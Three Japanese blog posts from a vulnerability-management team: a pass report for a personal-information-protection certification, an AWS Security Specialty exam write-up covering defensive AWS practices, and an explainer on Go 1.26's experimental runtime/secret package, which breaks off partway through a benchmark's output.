はじめに

FutureVulsチームの棚井です。

2026年6月21日に実施された第83回 個人情報保護士認定試験を受験し、合格しました。

これまで私が執筆したセキュリティ系資格の合格体験記（情報処理安全確保支援士、AWS Certified Security - Specialty）は、いずれも技術でどう守るかに軸足がありましたが、今回はきっかけが少し違います。学習を進める中でもセキュリティ担当者としての実業務でも、数ある情報資産のなかで個人情報だけは扱いが別格だと感じる場面が何度もありました。なのでこの領域を体系的に学びたくて、受験を決めました。

FutureVulsは脆弱性管理サービスを提供しており、日々セキュリティと向き合っています。ただ、セキュリティの最終的な目的の多くは個人情報をはじめとする情報資産を守ることであり、その拠り所は法律や社会的なルールです。セキュリティと個人情報保護は、いわば両輪です。技術者こそ、その両方をあわせて理解しておく価値があると思っています。この記事は、資格の受験を検討している方はもちろん、個人情報保護って結局どんな法律・制度で成り立っているのか、と気になるエンジニアにも読んでほしい内容です。

試験の概要 - 問われるのは法律と対策の2領域

個人情報保護士認定試験は、一般財団法人 全日本情報学習振興協会が主催する民間資格です。試験は次の2課題で構成されます。

• 課題Ⅰ：個人情報保護法とマイナンバー法の理解（法律の側面）
• 課題Ⅱ：個人情報保護の対策と情報セキュリティ（対策の側面）

つまり、法律とセキュリティ対策の両面が問われます。概要は次のとおりです。

法律とセキュリティが半分ずつという構成は、サイバーセキュリティの業務とも重なります。

増えるインシデントと、IPAの10大脅威

個人情報の漏えいにつながるインシデントは、ここ数年で明らかに増えています。トレンドマイクロの集計では、2024年に国内の法人組織が公表したセキュリティインシデントは587件で、2023年の383件から大きく増えました。IPA「情報セキュリティ10大脅威 2026」（組織向け）の上位も、次のような顔ぶれです。

• 1位：ランサム攻撃による被害
• 2位：サプライチェーンや委託先を狙った攻撃
• 3位：AIの利用をめぐるサイバーリスク（初選出）

攻撃の多くは、最終的に個人情報や機密情報の窃取や暗号化、漏えいに行き着きます。サイバーセキュリティと個人情報保護は、技術と法制度という別々の顔をしていても、実態は表裏一体です。だからこそこの試験も、法律・ルール（課題Ⅰ）とセキュリティ対策・実務（課題Ⅱ）を、それぞれ問う内容になっています。

課題Ⅰの領域：個人情報保護をめぐる法律

課題Ⅰでは、個人情報保護法とマイナンバー法の理解が問われます。ここでは、中心となる個人情報保護法と、対になる活用側の法律を見ていきます。

改正が続く個人情報保護法

個人情報保護法（正式には「個人情報の保護に関する法律」）は、2003年に制定され、2005年に全面施行されました。特徴的なのは、その後も社会やテクノロジーの変化に合わせて改正が重ねられている点です（参考：個人情報保護委員会）。主な流れは以下のとおりです。

さらに、2020年改正法の附則には「施行後おおむね3年ごとに見直す」という規定が置かれました。これがいわゆる3年ごと見直しです。この規定に基づき、個人情報保護委員会は2023年から検討を進め、2026年4月に改正法案が閣議決定されました（令和8年改正）。その後、衆議院・参議院で可決され、2026年7月に成立しています。課徴金制度の導入、16歳未満の子どもの個人情報保護、顔認証などの生体データの保護強化、AIなどでの統計処理に関する規律の見直しが柱で、施行は公布からおおむね2年後、2028年ごろが見込まれています。

学んでいて強く感じたのは、個人情報保護は一度覚えたら終わりではない、ということです。制度そのものが定期的に見直される前提で作られており、資格を取って終わりではなく、改正を追い続けて初めて意味を持ちます。脆弱性や脅威を日々追いかけるサイバーセキュリティの仕事と、どこか似ています。

保護と活用、そして安全

個人情報保護法は、守るだけの法律ではありません。第1条は、個人情報の有用性に配慮しつつ個人の権利利益を保護すると定めており、匿名加工情報（2015年改正）や仮名加工情報（2020年改正）は、保護しながら活用するための仕組みです。その活用を社会全体で後押しするのが、2016年に公布・施行された官民データ活用推進基本法です。

引用元
https://www.soumu.go.jp/main_content/000467121.pdf

活用は、保護と安全があって初めて成り立ちます。官民データ活用推進基本法は、基本計画づくりで個人情報保護委員会とサイバーセキュリティ戦略本部の双方に協議すると定め、「サイバーセキュリティ」の定義もサイバーセキュリティ基本法（2014年成立、2015年施行）から引いています。保護（個人情報保護法）、活用（官民データ活用推進基本法）、安全（サイバーセキュリティ基本法）。この3つは互いを前提に組み合わさっています。

課題Ⅱの領域：組織と人で守りを形にする

課題Ⅱでは、個人情報保護の対策と情報セキュリティが問われます。法律で定めた守りを、組織として実際に形にする領域です。

組織の証明：ISMSとプライバシーマーク

組織として適切に守れていることを客観的に示す代表的な仕組みが、ISMS適合性評価制度とプライバシーマーク（Pマーク）制度です。この2つはよく「どちらを取るべきか」と比較されますが、実際には相互補完の関係にあります。

ISMSは情報資産全般を広くカバーする仕組みで、対象範囲を部門単位に絞ることもできます。一方Pマークは、個人情報に絞って深く、全社で守る仕組みです。カバーする範囲がずれているため、どちらか一方が他方を完全に含むわけではなく、両方を取得して補い合う企業も多くあります。これが相互補完と呼ばれる理由です。ISMSさえあればPマークは不要、というわけではありません。

人の証明と、自社の方針の公開

これらが組織の体制を示す認証だとすると、今回合格した個人情報保護士は、人の知識を示す資格といえます。仕組み（組織）と、それを動かす人（個人）です。どちらが欠けても守りは成立しませんし、今回の合格は、その人の側の裏づけを1つ得た、という位置づけです。

フューチャーも、こうした守りの姿勢を明確にしています。当社は、情報セキュリティとプライバシーに関する方針を一般に公開しています。

• 情報セキュリティ基本方針
• プライバシーポリシー（個人情報保護方針）

セキュリティ基本方針では「セキュリティ対策は事業の成功と直結している」「個人情報・情報資産を厳正に保護することは社会的責務」と位置づけ、公開企業として明確な方針を宣言し、対策を確実に実施すると打ち出しています。プライバシーポリシーでは、個人情報保護マネジメントシステムを構築し、利用目的の特定や安全管理措置、本人からの開示請求への対応などを定めています。学んだ条文が、自社の方針にそのまま対応していることも確認できました。

学習方法

学習に使ったのは、公式テキストと、いくつかの問題演習です。過去問集や動画講座、AIツールでの壁打ちなどは使わず、シンプルな構成にしました。

1. 公式テキストで通読・インプット

改訂8版 個人情報保護士認定試験公式テキスト（柴原健次 ほか著／日本能率協会マネジメントセンター）を使いました。2023年施行の改正法に対応しており、課題Ⅰ（法律・マイナンバー）と課題Ⅱ（セキュリティ）の全範囲がこの1冊でカバーされます。まずは通読して全体像を掴み、このテキストに載っている問題演習も解いて理解度を確かめました。

2. 受験申込後のオンライン学習ページ

引用元
https://www.joho-gakushu.or.jp/piip/

試験に申し込むと案内される公式のオンライン学習ページがあります。ここは要チェックで、出題範囲の最終確認に役立ちました。

なお、受験にまつわる特典やキャンペーンの情報は、全日本情報学習振興協会のX（@joho_gakushu）でも告知されています。受験を検討している方は、あわせて見ておくとよさそうです。

3. Webの問題演習で理解度チェック

シカクモンという学習サイトを使いました。個人情報保護法やマイナンバー法、情報セキュリティの分野別に問題が無料で解け、本試験（マークシート100問）の形式に近い演習ができます。スキマ時間の反復に重宝しました。

試験を通しての所感

• 課題Ⅰ（法律）は、個別事案への当てはめが難所：条文や用語を覚えるだけでは足りず、「この事例では法律上どう扱われ、結論はどうなるか」という当てはめの判断が問われます。ここは本来、過去問演習を繰り返して身につけるのが王道だと思います。私は今回、過去問演習まではしませんでしたが、法律パートに不安がある方には過去問中心の対策を強くおすすめします。
• 課題Ⅱ（対策・情報セキュリティ）は、実務経験がそのまま活きる：脅威と対策、組織的・技術的セキュリティなどが中心で、日頃セキュリティを学んで（あるいは業務で扱って）いれば、比較的やさしく感じられるはずです。

合格後：個人情報保護士会への入会

合格者（認定カードの有効期限内の方）は、一般財団法人 個人情報保護士会に入会できます（入会は任意）。合格者向けの会で、主な特典は次のとおりです。

• 講演会への無料参加
• 上級資格の取得支援
• 書籍の割引販売
• 学習講座の無料視聴
• 会員バッジの提供
• 認定カードの無料更新

費用は以下のとおりです（いずれも税込）。

おわりに

試験の2本柱に沿って、個人情報保護をめぐる法律（課題Ⅰ）と対策（課題Ⅱ）を見てきました。守りのルール（個人情報保護法）と、活かすためのルール（官民データ活用推進基本法）が対になっています。組織の仕組み（ISMS・Pマーク）と、それを動かす人の知識（個人情報保護士）がそろって初めて、守りは形になります。今回の学習で、ばらばらに知っていた点が線でつながった感覚があります。

個人情報保護法は3年ごとに見直される、動き続ける領域です。合格をゴールにせず、改正のたびに学び直しながら、サイバーセキュリティの実務に還元していきたいと思います。セキュリティ系資格の受験を考えている方、そして法制度の全体像を短時間で掴みたい方の参考になれば幸いです。

はじめに

CSIG所属、FutureVulsチームの棚井です。

2026年5月18日に AWS Certified Security - Specialty (SCS-C03) を受験し、823点 / 1000点(合格ライン750点)で一発合格しました。AWS認定試験はこれが初挑戦でしたが、業務でAWSのセキュリティ関連サービスを設定・運用する機会があり、知識の体系化と棚卸しを兼ねて、Foundational/Associate/Professionalを飛ばして、いきなりSpecialtyの「Security」に挑戦しました。

前回の情報処理安全確保支援士の合格体験記に続く、セキュリティ系資格の合格報告です。受験の後押しとなったのは、同記事でも紹介した部署の資格取得推奨と一部経費負担制度です。

セキュリティの実務経験はあるけれど AWS 認定は初めて、という方や、学習に LLM (Claude等) をどう組み込むか試行錯誤している方に、特に読んでほしい内容です。AWS Certified Security - Specialty の受験を検討している方の参考にもなるはずです。

試験の概要

AWS Certified Security - Specialty (SCS-C03) 試験ガイドによると、本試験はクラウドソリューションのセキュリティを担う立場の方を対象に、AWSの製品とサービスを保護する知識を検証します。受験対象者として、クラウドソリューションの保護について3〜5年相当の経験が推奨されています。

試験の出題形式と内訳は以下のとおりです。

• 設問形式: 択一選択、複数選択、並べ替え、内容一致
• 設問数: 採点対象 50問 + 採点対象外 15問 = 計65問
• 合格スコア: 100〜1,000の換算スコアで 750(補整スコアリングモデル)

コンテンツ分野と出題比率は、以下のとおりです。

AWS認定試験の全体像はAWS認定の公式ページを、各分野の詳細なタスク/スキルは前述の試験ガイドを参照してください。

学習方法

私の学習は、シンプルに2ステップでした。

1. Claudeとの壁打ちで学習計画を立てる
2. Udemyの演習問題集を1周する

1. Claudeとの壁打ちで学習計画

学習はClaudeとの壁打ちから始めました。日々の業務でClaudeを利用しており、私の関心領域や学習傾向はある程度Claudeに把握されています。そのため、以下を相談・依頼するだけで、自分に合った学習計画の素案が出てきました。

• 必要な勉強時間の見積もり
• 参考になるサイトの紹介 (例えば、SCS-C02からC03への変更点まとめ を教えてもらいました)
• 学習中に出てきた技術的な質問への解説

3点目の「私の関心領域・既知の知識に合わせた解説」が、一番効きました。AWSのサービスを単独で説明されるより、自分が実務で扱ってきた技術やOSSと対比して教えてもらう方が、知らないサービスでも既知の知識にぶら下げて覚えられるので、頭に入る速さが違います。「これは ○○ と同じ役割を担うサービスで、違いはこの点」と差分だけ教えてもらえる学び方は、相手がLLMだからこそ成立すると思います。

2. Udemyの演習問題集を1周

主教材は (C03アップデート済)【全網羅+詳細解説】SCS-C03実践問題 (Security Specialty)290問(講師: syo @Cloud)を選びました。Udemyの月額サブスクに登録して利用しています。

具体的に取り組んだのは、以下の2つです。

• 演習問題5 (250問): C03の追加要素 + 演習1〜4からの抜粋(出題順序固定)
• 演習問題6 (40問): 新規ボーナス問題 + 演習1〜4からの抜粋(出題順序固定)

演習問題1〜4は取り組んでいません。これらの内容は演習問題5に含まれている、との説明を見つけたためです。結果として、合計約290問を1周しただけで合格できました。

解説の活用方法

演習問題を解くうえで実践したのは、大きく2つです。

1つ目は、正誤に関わらず解説を全部読むことです。AWS認定試験は「最適な選択肢を選ぶ」形式なので、誤答の選択肢にも学びがあります。むしろ「なぜその選択肢ではダメなのか」を追う方が、サービスの境界や使い分けがはっきりします。正答の解説より誤答の解説の方が情報量が多い、と感じる場面が何度もありました。

2つ目は、テキスト解説とフロー図を往復することです。この教材の最大の魅力は、ほぼ全ての解説にフロー図が付いている点です。たとえば、

• IAMポリシーの評価ロジック (明示的Deny優先: 暗黙のDeny → 明示的Allowで許可 → 明示的Denyが最優先で上書き)
• 侵害が疑われるインスタンスの隔離手順 (削除保護 → ネットワーク疎通遮断 → スナップショット取得)

のように「順序」が問われる論点は、図で頭に入っているかどうかがシナリオ問題の正答率を左右します。私はまずテキスト解説を読んで自分の中で処理順序のイメージを作り、そのあとフロー図で答え合わせをする、という読み方をしていました。こうすると「読んだだけで理解した気になる」状態を防げます。

本番でも、教材で繰り返し見た論点(IAMポリシーの評価ロジック、インシデント対応の手順系)がそのまま問われる感覚で、合格点(750/1000)狙いならこの講座だけで足りました。

試験勉強で得た学び

業務であまり触らず、今回しっかり覚え直したポイントを挙げます。

インシデントの初動調査は「読み取り専用権限」で行う

侵害が疑われる環境を調査するとき、誤操作による証拠破壊を防ぐため、読み取り専用権限のIAMロール/アカウントで初動調査するのがベストプラクティスです。

AWS公式のAWS Security Incident Response User Guide - Prepare access to AWS accountsでも、インシデント対応チームには事前に最小権限のアクセスを割り当てておく(provision least privilege access in advance)ことが推奨されています。読み取り専用調査の出発点として代表的なのは、セキュリティ設定メタデータの参照に特化した SecurityAudit と、全AWSサービスのリソース・基本メタデータを横断的に参照できる ViewOnlyAccess です。これらを起点に、組織のニーズへ合わせて権限を絞り込みます。試験のためというより普段のロール設計でそのまま使える話で、調査時の操作ミスを権限制御で未然に防ぐ、という観点が一番の学びでした。

AWS Control Towerの推奨ランディングゾーン構成

AWS Control Towerでは、Security OU を設けて、その中に Log Archive アカウントと Audit アカウントを分離して持たせる構成が推奨されています(AWS Prescriptive Guidance - Account structure and OUs)。

graph TB
    Root[AWS Organization Root]
    Mgmt[管理アカウント
Management Account]
    SecOU[Security OU]
    LogArchive[Log Archive アカウント
セキュリティログ集約・長期保管]
    Audit[Audit アカウント
セキュリティサービスの運用・監査]
    WkOU[Workloads OU
必要に応じて追加]
    Dev[Dev Account]
    Stg[Staging Account]
    Prod[Prod Account]

    Root --> Mgmt
    Root --> SecOU
    SecOU --> LogArchive
    SecOU --> Audit
    Root --> WkOU
    WkOU --> Dev
    WkOU --> Stg
    WkOU --> Prod

• Log Archive アカウント: 各アカウントのAPIアクティビティやリソース設定のログを集約するリポジトリ(詳細)
• Audit アカウント: GuardDuty や Security Hub などのセキュリティサービスを運用・管理し、監査・コンプライアンスチームが各アカウントをレビューするためのアカウント(AWS SRA の Security Tooling アカウントに相当)

運用面では、GuardDuty・Security Hub・AWS Config などの delegated administrator(委任管理者) を Audit アカウントに設定し、組織横断のセキュリティ運用をここに集約します。一方で Security Lake は、ログ集約という役割に合わせて、AWS SRA では Log Archive アカウントを委任先として推奨しており、委任先がサービスごとに異なる点に注意が必要です。いずれにせよ、管理アカウントは組織管理だけ、日々のセキュリティ運用は Audit アカウント、と役割がきれいに分かれます。

私がこれまで慣れていたのは「環境ごとに1AWSアカウント」(例: 開発+検証で1、本番で1) の構成でしたが、Control Tower は管理アカウント + 個別アカウントをOU単位で組織化し、ロールではなくアカウント単位で権限を分離します。アカウント単位で責務を分けるという発想は、今まで自分になかった視点でした。

Service Catalog + CloudFormation + サービスアカウントによる実行環境制御

AWS Service Catalogで承認済みのCloudFormationテンプレートをカタログ化し、利用者にはサービスアカウント経由でデプロイさせる構成です。Service Catalogには「Constraints」という仕組みがあり、起動先・インスタンスタイプ・付与するIAMロールといったデプロイ方法に制約をかけられます。利用者には承認済みテンプレートだけを触らせ、組織として外したくない部分は Constraints で縛る。承認済みリソースの払い出し口をこう作るのか、と腹落ちしました。

侵害インスタンスの「隔離」手順

侵害が疑われるEC2インスタンスの隔離について、教材では以下の順序が原則として示されていました。

1. 削除保護を有効化(誤削除の防止)
2. ネットワークACL / セキュリティグループでネットワーク疎通を遮断
3. EBSのスナップショットを取得(フォレンジック用)

ただし、「隔離(ネットワーク遮断)」と「スナップショット取得」のどちらを先に置くかは、ケースバイケースです。攻撃の継続を即時に断つことを優先するなら、遮断が先になります。Amazon GuardDuty - 侵害された可能性のあるAmazon EC2インスタンスの修復も、隔離用セキュリティグループの作成(0.0.0.0/0 を許可しない)→ アタッチ → 他のSGの削除、とネットワーク隔離を最優先します。

一方、揮発性の高い証拠の保全を優先するなら、スナップショットが先です。AWS Security Incident Response User Guide - Collect relevant artifactsが示すフォレンジック観点の順序は「メタデータ取得 → インスタンス保護(削除保護)有効化とタグ付与 → EBSスナップショット → メモリ取得 → (オプション)ライブレスポンス → デコミッション → 隔離」で、隔離は最後に置かれます。なお、AWS Prescriptive Guidance - Forensics accountのように、調査対象のスナップショットをフォレンジック専用アカウントへコピーする設計パターンもあります。

正解は状況次第です。ただし「インスタンスを保護する」「攻撃を断つ」「証拠を保全する」の3つが論点だと頭に入っていれば、本番のシナリオ問題でも選択肢の優先順位を付けられました。

データ集約先としてのAmazon Security Lake

Amazon Security Lakeは、セキュリティログをOCSF (Open Cybersecurity Schema Framework)形式で正規化し、Apache Parquet形式でS3に集約するデータレイク基盤です。AWS Security Hub (CSPM: Cloud Security Posture Management) との違いは、以下のように整理できます。

• Security Hub: セキュリティ検出結果の集約・優先度付け・ダッシュボード化
• Security Lake: セキュリティ「データ」そのものの集約・長期保管・分析基盤化

片方があればもう片方が不要、という関係ではありません。実際、Security Hub CSPMのFindingsも ASFF 形式から OCSF 形式に変換した上で Security Lake に取り込めます。サービス連携の全体像は以下のようになります。

graph LR
    subgraph Sources[ログソース]
        CT[AWS CloudTrail]
        VPC[VPC Flow Logs]
        R53[Route 53 Resolver Logs]
        SH[Security Hub Findings
ASFF → OCSF変換]
        Custom[サードパーティ / カスタム
OCSF形式]
    end

    SL[Amazon Security Lake
OCSF正規化 + Apache Parquet
S3バケットに保管]

    subgraph Consumers[分析・可視化先]
        Athena[Amazon Athena]
        QS[Amazon QuickSight]
        OpenSearch[Amazon OpenSearch]
        SIEM[サードパーティSIEM
Splunk / Datadog 等]
    end

    CT --> SL
    VPC --> SL
    R53 --> SL
    SH --> SL
    Custom --> SL

    SL --> Athena
    SL --> QS
    SL --> OpenSearch
    SL --> SIEM

SOC対応やSIEM体制を見越したサードパーティ連携については、Third-party integrations with Security Lakeに多数のソース・サブスクライバーが記載されています。正規化済みのデータが S3 に溜まるので、Splunk や Datadog といった既存の SIEM にそのまま流し込める。SOC を回す側からすると、この一点だけでも Security Lake を置く価値がありそうだと感じました。

試験勉強を通しての所感

実務経験のあるサービスは圧倒的に有利

業務で実際に設定・運用したことのあるサービスについては、知識を問われても迷うことは少なかったです。

例えば、「稼働中の非暗号化RDSを暗号化する方法」という問いに対して、

スナップショットを取得し、それを暗号化を有効にしてコピーする。その暗号化済みスナップショットからインスタンスを復元する

という回答は、実際に手を動かしたことがあれば即答できます(Encrypting Amazon RDS resources)。非暗号化インスタンスから暗号化スナップショットは直接作れず、コピー時に暗号化を付与する、という一手間がポイントです。「稼働中のRDSをそのまま暗号化する方法はない」という制約を、机上で覚えるか実務で体感したか、で記憶への定着度が全く違います。

業務での「あるあるネタ」も出題される

トラブルシュート系の問題には、業務で一度は遭遇するような「あるある」が散りばめられています。

• Lambda起動時にCloudWatchにログが出力されない → 大抵はLambda実行ロールに AWS管理ポリシー AWSLambdaBasicExecutionRole(logs:CreateLogGroup / logs:CreateLogStream / logs:PutLogEvents を許可) が付与されていない
• EC2のCloudWatch エージェントが、長時間起動していると途中からログ連携されなくなる → 自分の環境では logrotate との設定齟齬が原因でした
• S3バケットを「特定VPCからのみアクセス可」にしたくて、VPCエンドポイントポリシーに aws:SourceVpc 条件を書いてもアクセス制御が効かない → バケット単位で「このVPCからのみ」を表すなら、リソース側=S3バケットポリシーに aws:SourceVpc / aws:SourceVpce 条件を書くのが正解です。VPCエンドポイントポリシーは「そのエンドポイント経由でどのバケットやプリンシパルに到達できるか」を制御するものなので、バケット側のVPC限定はエンドポイントポリシーだけでは表現しきれません
• KMSで暗号化したS3オブジェクトに、Lambdaがアクセスできない → S3バケットの読み取り権限に加えて、Lambda実行ロールに kms:Decrypt が効く状態にする必要がある。同一アカウントでキーポリシーがIAMへの委任(Enable IAM policies)を含む既定構成なら、実行ロールのIAMポリシーに kms:Decrypt を付与すれば足りる。キーポリシーがプリンシパルを明示列挙する運用や、キー所有者が別アカウントの場合は、キーポリシー側でも実行ロールに kms:Decrypt を許可する

これらは、知識として知っていたというより、業務でハマった経験がそのまま回答に直結しました。過去のインシデントメモを引っ張り出しながら解いている感覚で、実務で踏んだ地雷は記録しておくものです。

全く知らないサービスはClaudeに都度解説してもらう

一方で、これまで触れる機会がなかったサービスもいくつかありました。私の場合は、以下の3つです。

• AWS Signer: コードやコンテナイメージへのデジタル署名サービス(Sigstore/cosignでの署名検証は実務で扱ってきましたが、AWSマネージドサービスとしてのSignerは触れる機会がありませんでした)
• AWS Nitro Enclaves: 機密データ処理用の隔離されたコンピューティング環境
• Amazon CodeGuru Security: コード脆弱性検出サービス(※2025年11月20日でサポート終了。代替としてAmazon Q Developerのコードレビュー機能などが案内されています)

これらは、教材で遭遇した瞬間にClaudeに解説をお願いしました。CodeGuru SecurityがすでにEOLになっていることも、こうした壁打ちの中で判明しました。

試験結果の振り返り

総合スコアは 823点 / 1000点(合格ライン750点)、**+73点** での合格でした。セクション別の成績は以下のとおりです。

「データ保護」分野が「改善が必要」となりました。正直、ここは詰めが甘かったです。KMSのキーポリシー設計、エンベロープ暗号化、ホスト間でのキー管理、各種データストアでの暗号化オプションと、設定項目の組み合わせが多い分野です。合格はしましたが、継続して勉強が必要です。

おわりに

振り返ると、効いたのは次の3つでした。

1. 業務でのセキュリティ実務経験(前提となる知識・直感)
2. Claudeとの壁打ち(学習計画、未知のサービスの解説、関心領域への紐付け)
3. Udemyの演習問題集(フロー図付き解説による試験範囲のカバーと処理順序の体得)

なかでも一番大きかったのは1つ目です。実務でハマった経験がそのまま得点になり、LLMと教材は、その土台の穴を埋める役割でした。特別なことはしていません。

AWS認定を1つでも保持していれば、再認定や次回の試験に使える50%割引バウチャーが付与されます。これを使って、次は AWS Certified Advanced Networking - Specialty (ANS-C01) に挑戦する予定です。同じSpecialtyレベルでネットワーク領域を固めて、セキュリティ × ネットワークの両軸でAWSの理解を深めていきます。

受かったら、また書きます。

ペンギンになりたいエンジニアの島ノ江です。

普段は CSIG で「FutureVuls」という脆弱性管理サービスの開発を担当しています。
Go1.26リリース連載 の6日目。今回は Go 1.26 で New experimental として追加される runtime/secret を、特にどのような議論がされてきたかについて見ていきます（リリースノート）

…と思っていたのですが、既に mattn さんがこのパッケージの概説と実験をされています。本機能の導入によりどのように機密情報の扱いが変わるかについてはこちらの記事をご参照ください。

https://zenn.dev/mattn/articles/64d85241fd3726

そこで、本記事では以下の内容に触れていこうと思います。

• 前方秘匿性について
• Go でのメモリ管理について
• 本機能が提案された背景（issue を遡って）
• 機能概要・注意事項

前方秘匿性について

現代のセキュリティプロトコルでは前方秘匿性（Forward Secrecy）は必須の要件となっています。これは、将来的に長期的な秘密鍵が漏洩したとしても、過去の通信内容が解読されないことを保証する性質を指します。もし前方秘匿性がない場合、攻撃者が過去の暗号化された通信をすべて記録していた場合に、後から秘密鍵を手に入れるとその瞬間にすべての過去ログが筒抜けになってしまいます。

前方秘匿性は、セッションごとに使い捨てられる Ephemeral Key（一時鍵）により支えられます。セッションが終わればこの一時鍵は破棄され、二度と復元できないことが前提となります。

2014年には OpenSSL に Heartbleed 脆弱性 が見つかりました。OpenSSL のメモリ管理の不備により、サーバー上の機密情報が外部に漏洩するリスクが生じ、このころ前方秘匿性が注目されるようになりました。

Go のドキュメントにも、前方秘匿性について詳細を知りたい場合は Wikipedia を参照してくれと書いているので、詳細が気になる場合はこちらをご参照ください。

なお、TLS1.3 では前方秘匿性を持たない古い鍵交換方式が廃止され、必須の要件になっています（リンク）。

all public-key based key exchange mechanisms now provide forward secrecy.

しかし、これを実装する場合に、次のような問題が生じます。「プロトコル上で鍵を破棄しても、サーバーのメモリ上にその残骸が残っていたら、そこから漏洩してしまうのでは？」という問題です。

理論上は使い捨てでも、実装上メモリに一時的に保管されるデータが残存していては、それは「一時的」な秘密鍵にはなりません。もし攻撃者がメモリリークやコアダンプにより残存データを吸い上げられたら、そもそも前方秘匿性の前提が崩れてしまいます。

今回の runtime/secret では、この「物理メモリ上に一時的な情報を即時消去することを、Go のランタイムレベルで保証する」という機能です。

ところで、暗号の話で出てくる鍵共有アルゴリズムに DHE がありますが、このうちの E は Ephemeral なんですよね。RFC 7919 にも「Diffie-Hellman Ephemeral（DHE）鍵交換」として説明されています。私は最初 Hellman か Key Exchange の E だと思い込んでいました。DHE については過去の HTTPS に関するブログも参考になれば幸いです。

メモリ管理について

C++ や Rust のような言語では、開発者がメモリのライフサイクルを完全に掌握します。秘密鍵などの機密情報を使い終えたら、explicit_bzero や memset_s といった関数を呼び出すことで、コンパイラの最適化によって消されることなく即座にメモリを物理的にゼロ埋めできます。

一方で、Go のような GC を採用している言語では、このメモリ管理が抽象化されているため、以下の観点からメモリを即座にゼロ埋めすることが簡単にはいきません。

• コンパイラの最適化：手動でゼロ埋めするコードを書いても、コンパイラがその処理を無視する場合がある
• GC によるコピー：Go のランタイムがスタックの拡張などの過程でメモリの中身を別の場所にコピーすることがあり、元の場所にデータ残存のリスクがある

そこで、WireGuard の実装では issue コメントにあるような形で、”Unholy Hacks“ な方法でゼロクリアをしようとしています（コメント）。このような工夫をせずに、言語仕様としてこのゼロ埋めを実行して、前方秘匿性を担保できるようにしたいことから issue に繋がっています。

ちなみに、Go の GC については先日棚井さんが記事を書いていたので、そちらもよろしければどうぞ。

https://future-architect.github.io/articles/20260130a/

issueの流れ

本機能に関する issue は 2017年9月まで遡ります。

実装までに8年以上を要しており、導入にとても慎重だったことがうかがえます。

https://github.com/golang/go/issues/21865

本機能は、セキュリティエンジニアの Jason A. Donenfeld 氏（WireGuardの開発者）からのセキュリティの観点での主張と、Go のコアチームからの言語としての整合性の観点が対立していたためです。

例えば、以下のような観点が議論されていました。

GC によるコピーの残存

メモリ効率のために、ランタイムがデータを移動させる場合があります。

例えば、スタックが足りなくなった場合に、新しいメモリ領域を確保して中身をコピーします。この場合、古いスタック領域にはデータのコピーが残ってしまいます。また、ライブラリの中で Clear() をして今のメモリデータを消去しても、ランタイムが勝手に作ったコピーが残っている可能性はありえます（コメント）。さらに OS レイヤーでの話として、OS の割り込み処理が起きると CPU のレジスタにある機密情報はシグナルスタックに書き込まれますが、これの消去が難しいとも書かれています（コメント）。

「開発者は機密データを消したつもりだが、実際にはメモリ上にデータが残っている可能性がある」という “false sense of security“ に繋がりかねない点が懸念として提示されています。

最終的にこの課題は Daniel Morsing 氏の案で解決されました（コメント）。具体的には、「特定の実行スコープ（関数実行）に限定してクリーンアップを保証する」という現実的なアプローチが採用されたことで、8年にわたる議論が収束に向かいました（詳しくは mattn さんのブログにて）。

機能概要

runtime/secret の機能は GOEXPERIMENT=runtimesecret の環境変数を設定することで利用できるようになります。
この中身はシンプルで、func Do(f func()) と func Enabled() bool が定義されているだけです。

https://pkg.go.dev/runtime/secret

Do は、引数でとる関数 f の中で利用される一時的な記憶領域を確実に消去することを保証します。
また、Enabled は現在の実行コンテキストが Do の呼び出しスタック内にあるかを返します。

詳しくは、以下のような事項が保証されるようになります。

• f によって使用されるレジスタとスタックは、Do が返る前に消去される
• f によって行われたヒープメモリは、割り当てられたすべての値に到達できなくなったことを GC が認識するとすぐに消去される（注意：即時ではない）
• Do は f がパニックを起こしたり runtime.Goexit を呼び出したりした場合でも動作する（f で発生したパニックは Do 自体から発生したかのように表示される）

注意事項

本機能はまだ実験的に導入されているものであり、注意が必要な点もあります。

ヒープ割り当ては即時で消去されない

前述のように、runtime/secret ではスタックとレジスタの即時消去を保証しています。一方で、new や make などで確保されるヒープ割り当てについては、GC が回収するまでは消去されません。

ランタイムが「GC が到達不能と判断した時点で消去」しますが、あくまで次の GC サイクルまでは情報が保持されます。そのため、機密情報を扱う場合、make([]byte, n) のようなヒープを使った方法ではなく、可能な限り [32]byte など固定長の配列を利用してスタックのまま留めるなど、注意を払う必要があります。

サポート対象

Go 1.26 では、linux/amd64 と linux/arm64 でのみサポートしています。

本機能は、単にメモリを書き換えるだけではなく、CPU レジスタの消去やランタイムによるスタックフレームの制御などが必要になります。これらはアーキテクチャごとに異なり、レジスタに残った機密情報を確実に消し去る場合、それぞれの CPU 命令セットに合わせてアセンブリレベルで実装しなければなりません。

また、レジスタの内容が OS にどう保存されるかは、OS のカーネルに依存します。これらの理由から、現時点では一部のアーキテクチャにのみ対応しています。

なお、サポートされていないプラットフォームでは、Do は単に f のラッパーになるだけで、保護機能は働きません（このような場合にコンパイルエラーにならないでちゃんと動作してくれるのは、互換性を保っていてすごいなと個人的に関心してます）。

Enabled() を使うと、保護機能が有効化どうかを実行時に判定できます。

if secret.Enabled() {
  ...
}

パフォーマンス上の影響

スタックのゼロクリアにはコストがかかるため、少しパフォーマンスが悪くなります。
例えば、以下のようなコードで検証してみます。

package main

import (
	"runtime/secret"
	"testing"
)

var globalSink byte

//go:noinline
func consume(b []byte) {
	globalSink = b[0]
}

//go:noinline
func useStack1KB() { var d [1024]byte; consume(d[:]) }

//go:noinline
func useStack64KB() { var d [64 * 1024]byte; consume(d[:]) }

func BenchmarkSecret(b *testing.B) {
	tests := []struct {
		name string
		fn   func()
	}{
		{"1KB", useStack1KB},
		{"64KB", useStack64KB},
	}

	for _, tc := range tests {
		b.Run(tc.name, func(b *testing.B) {
			// 通常のスタック利用
			b.Run("Normal", func(b *testing.B) {
				for i := 0; i < b.N; i++ {
					tc.fn()
				}
			})
			// runtime/secret の利用
			b.Run("Secret", func(b *testing.B) {
				for i := 0; i < b.N; i++ {
					secret.Do(tc.fn)
				}
			})
		})
	}
}

結果は以下の通りです。 runtime/secret を利用している場合（Secret）は、利用しない場合(Normal)に比べて3倍程度実行速度が異なっていることがわかります。
Secret の中では、同じ領域に対して消去時を含めて2回書き込みをしているため、パフォーマンスに差が出てきます。しかし、暗号計算全体のコストに比べると小さな時間であり、それほど大きな影響はないでしょう。

$ GOEXPERIMENT=runtimesecret go1.26rc2 test -bench . -benchmem
goos: linux
goarch: amd64
pkg: test
cpu: Intel(R) Core(TM) Ultra 5 135U
BenchmarkSecret/1KB/Normal-14   61368109                17.97 ns/op            0 B/op          0 allocs/op
